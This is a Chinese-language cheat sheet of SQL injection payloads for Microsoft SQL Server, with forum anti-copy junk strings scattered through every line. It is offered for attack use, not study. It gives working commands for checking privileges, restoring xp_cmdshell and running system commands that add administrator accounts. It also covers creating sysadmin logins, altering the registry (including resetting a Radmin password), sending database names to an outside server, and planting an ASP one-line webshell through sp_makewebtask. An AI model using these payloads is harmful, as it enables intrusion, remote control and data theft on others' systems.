阿D常用的一些注入命令. z7 N7 H2 A8 V$ t# k6 ^
//看看是什么权限的
& K4 X0 |+ U' w4 J/ |and 1=(Select IS_MEMBER('db_owner'))
% |% H9 w: [: l( j- _' ~2 j. CAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--5 `* ?5 _( v |4 A
: m* Y$ z t$ S" s) m//检测是否有读取某数据库的权限
( m/ }$ g. l* y5 e* v6 Q7 Tand 1= (Select HAS_DBACCESS('master')) `( k5 t0 v8 {& H5 l# A
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --- B3 Z1 X. E4 y
2 g& r% I I$ u2 \
0 F2 r X+ Y& a7 ~/ n# x/ Q) X数字类型* X% h& D9 a: [5 q' m+ ]$ n
and char(124)%2Buser%2Bchar(124)=0
+ L6 C) K& J/ i$ N+ {6 r; k9 S% h2 V5 {3 w Q; M
字符类型
: H4 n" h2 \6 u0 U6 B. U! \# ^' and char(124)%2Buser%2Bchar(124)=0 and ''='
, T1 g$ y: v+ B$ i( Y# x
( {4 ~7 V# B v6 L搜索类型. e* X! M) [( |) X9 L6 `# V2 q
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
2 r0 k: y/ Y6 E! N' r9 P( U. |, Y& i! j6 B7 m
爆用户名) Q' a1 g+ \& @3 X
and user>0
' j$ ]* P# L, k: m/ O, m' and user>0 and ''='
* P- O# n$ `) Y# H) a# ^% \. c0 l0 ^! `& i3 J& x0 F
检测是否为SA权限/ {6 Q5 M+ O7 C9 Z7 z4 \4 a; [
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--. B3 ]& e% Z4 {; H: [
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
& g( [! \' B" ~" t' ~0 z7 r
7 R* y m3 I& E0 G' A" k检测是不是MSSQL数据库
; m5 h8 I: w* U8 G n1 Uand exists (select * from sysobjects);--
# U3 E8 }, ?5 u! T4 H3 E" y
3 I T8 L, A8 ]3 y* Q0 k; l9 N检测是否支持多行/ q* Z5 J9 D; N! o1 @+ o. x& H1 `6 B
;declare @d int;-- 3 a7 J) Q8 N2 t% `% p+ C4 V& E7 I
# Q" l. O7 b8 Y8 c \恢复 xp_cmdshell; ^/ F) s$ q# p# }6 `! b
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--1 z0 W' O) K6 B6 J4 ^1 p2 v
" b4 R: w! c- \+ m8 |. J4 w
8 t# ?% W# h6 H5 }/ uselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 4 z* N- B, ?$ {4 g/ d4 P6 P( H6 D
" A0 P( r2 M, E2 @0 S0 K; ? _
//-----------------------
' L" o5 i! N( f// 执行命令
$ k1 q! z2 t0 |$ G/ h: M3 c//-----------------------
* Z" x9 C6 J* B8 _+ g$ d首先开启沙盘模式:
; W) w. L) o9 M- M X( _7 m/ jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# g5 C# M! n' \# f
3 F D0 G* A" V' H然后利用jet.oledb执行系统命令+ h5 c/ D; B6 ]" K8 r
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
* p# P6 U, `. I; z! z( E8 T$ ?, g
- `- h( w$ h: P3 h. G7 O6 s执行命令$ W$ g# _$ I \# H2 A
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
! {, [- H; ~( u( L4 c' N( P* ~9 L
! O* U6 [% a l; C0 h1 ` s3 R6 XEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'4 Z* V7 D {+ n2 y9 T
! @4 @3 y, A7 G. _" J' y' G3 u4 a判断xp_cmdshell扩展存储过程是否存在:
n% U/ O7 m% P( Mhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
% _! D z- z1 u- F9 c, K: u
2 ]; w3 Q0 @1 B' G5 v$ o" `. ?写注册表
& s' d( S5 m* Q' Aexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 y2 ~5 o+ C* H9 z3 Z n9 _, x; [5 x: A: Q; ?5 b
REG_SZ, B. P: z& V& H; }, h/ K9 g1 O
2 Z* [. z( c' p" @% z `% m1 W
读注册表
) n; z3 @ W( Y9 a8 Y* A; K0 bexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'8 v, m F& r( D# A: N V5 T
6 u: ^" q& \/ f; I9 `3 _1 n
读取目录内容
# ^7 c" a. j3 u( A bexec master..xp_dirtree 'c:\winnt\system32\',1,1
5 e4 L6 I9 D5 v( ~3 o" K) F, p2 b# }5 l4 g+ L; `) ~
# F4 T3 P `( H8 ]! R数据库备份
2 d8 e/ p8 D4 qbackup database pubs to disk = 'c:\123.bak'
% m; w* K- @5 \5 u* V1 @9 |- a8 W" K" X# g% F+ y4 s
//爆出长度
' _! }; b1 _# h* q) l; sAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--( ?+ c0 A c( O2 s8 C2 g& N
6 N" d1 C' {2 s. {! v7 E
& u6 m7 Y( h; E
% A( [2 u% @, R* }9 c s更改sa口令方法:用sql综合利用工具连接后,执行命令:
- ~0 |# h4 [) O# v* mexec sp_password NULL,'新密码','sa'8 L* @1 Q. O% w: ?5 J
, p! g- Q7 ^5 P# e7 k添加和删除一个SA权限的用户test:
% e$ n# h) A( Q/ U* L: Mexec master.dbo.sp_addlogin test,ptlove
% z! [$ G! d0 bexec master.dbo.sp_addsrvrolemember test,sysadmin
" m T5 ]$ ?0 j. r
/ E n m6 [1 B9 K删除扩展存储过过程xp_cmdshell的语句: ' |: ~/ |% O3 S6 D* j
exec sp_dropextendedproc 'xp_cmdshell'* e- o9 `/ |1 M" y0 f! ^1 }' w" D
8 n. W! T2 G9 ^添加扩展存储过过程$ Q1 p4 U5 l3 S1 o
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
4 n& V0 C6 }9 u2 sGRANT exec On xp_proxiedadata TO public m5 a1 V0 H5 |; T9 y1 z' c
3 U* P) Z0 z* U4 X" K* U; c, g
/ S) l5 \+ M4 l1 m
停掉或激活某个服务。 , ^9 Z( T& R+ D8 g; @4 f
) M! @$ B$ t- K/ d0 w# t
exec master..xp_servicecontrol 'stop','schedule'& S0 {& T$ s8 Q+ e0 |. N }; T( g
exec master..xp_servicecontrol 'start','schedule'
- i5 O' X$ s+ G
3 B$ B& S( M8 s/ B# ?/ n& Ldbo.xp_subdirs
9 _/ B. j& F( B! Q" l6 J7 v- E" `- i+ y4 T
只列某个目录下的子目录。
# | }. B4 b3 Z( sxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' f8 D& i7 V# B$ L- W C
9 `: i6 k5 f; }( \dbo.xp_makecab( {* k. V+ A; y! I/ n# `7 p: A# d
! p M( Q i& R3 [
将目标多个档案压缩到某个目标档案之内。
! m* i! b$ |5 q8 P6 d: v所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。2 L5 D9 T- G, S& R+ G+ s
( j7 ^4 k+ D, C5 [
dbo.xp_makecab
. J4 E5 c/ C+ F4 E'c:\test.cab','mszip',1,
( R! ~- E3 e: q0 _$ {% S: r'C:\Inetpub\wwwroot\SQLInject\login.asp',
7 y R2 z8 o9 Q5 ?1 D( M8 Y'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
" d+ Q5 M7 t/ Z3 h, M$ M$ P# g& h/ f) _
xp_terminate_process* m) @+ V7 p2 w# ]( ]
j. k$ w4 B0 g3 j# P: R5 _
停掉某个执行中的程序,但赋予的参数是 Process ID。. ^& ?" M, g1 _) n! n q8 \. N" t
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
, i3 R7 o0 I# I9 x$ F: z, N5 P
0 M- _, q, U. W ~; z6 l: _xp_terminate_process 24840 ]5 U+ s7 e) }7 ]" T% G
+ ]( J* u1 ~8 o* O9 Uxp_unpackcab! V/ e3 l; ^; B u
6 h' Z! A. |- @) \ K解开压缩档。& V' O9 h, u A7 H' m9 Z
+ `; }. _* R7 {3 C# r: Z" Txp_unpackcab 'c:\test.cab','c:\temp',1
( z9 b! l8 {" y/ i, T6 Q8 u- v% e' X
+ u" h f$ R+ y; Y3 e7 y# o3 r
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234* A9 N0 o3 t0 ~$ B. Y* C
( P& r0 ]6 }5 S# t/ dcreate database lcx;3 I4 n( r4 P {- Y+ D, e
Create TABLE ku(name nvarchar(256) null);
J D. g9 J9 f3 U9 m$ c( P/ FCreate TABLE biao(id int NULL,name nvarchar(256) null);
# l$ g$ ]2 I# P0 o
; t+ w4 y Q( u3 F//得到数据库名
1 ]+ o, h$ U* k7 }insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
3 O* ]% {( P+ P' Q- E$ J3 p# J9 F1 C8 h. s$ m* \
1 U( ^. ~/ N D7 E9 O//在Master中创建表,看看权限怎样# [5 }; v, K7 W. o7 w
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--4 m. F% L' p5 Z( M5 O
( ?% A5 e; F( v* V' V7 i
用 sp_makewebtask直接在web目录里写入一句话马:
! t( y. k! o/ }% D v2 Vhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--7 O- r( T; \- I% X
' ?7 k8 z0 z$ a//更新表内容# e5 {3 W1 N& q$ ^3 `
Update films SET kind = 'Dramatic' Where id = 1230 N& U+ X$ _% h7 z; G( S
: ]8 j& t X+ h1 B' v0 B( |5 U' _/ _//删除内容* d! D# V7 _& d- o% i ^
delete from table_name where Stockid = 3 |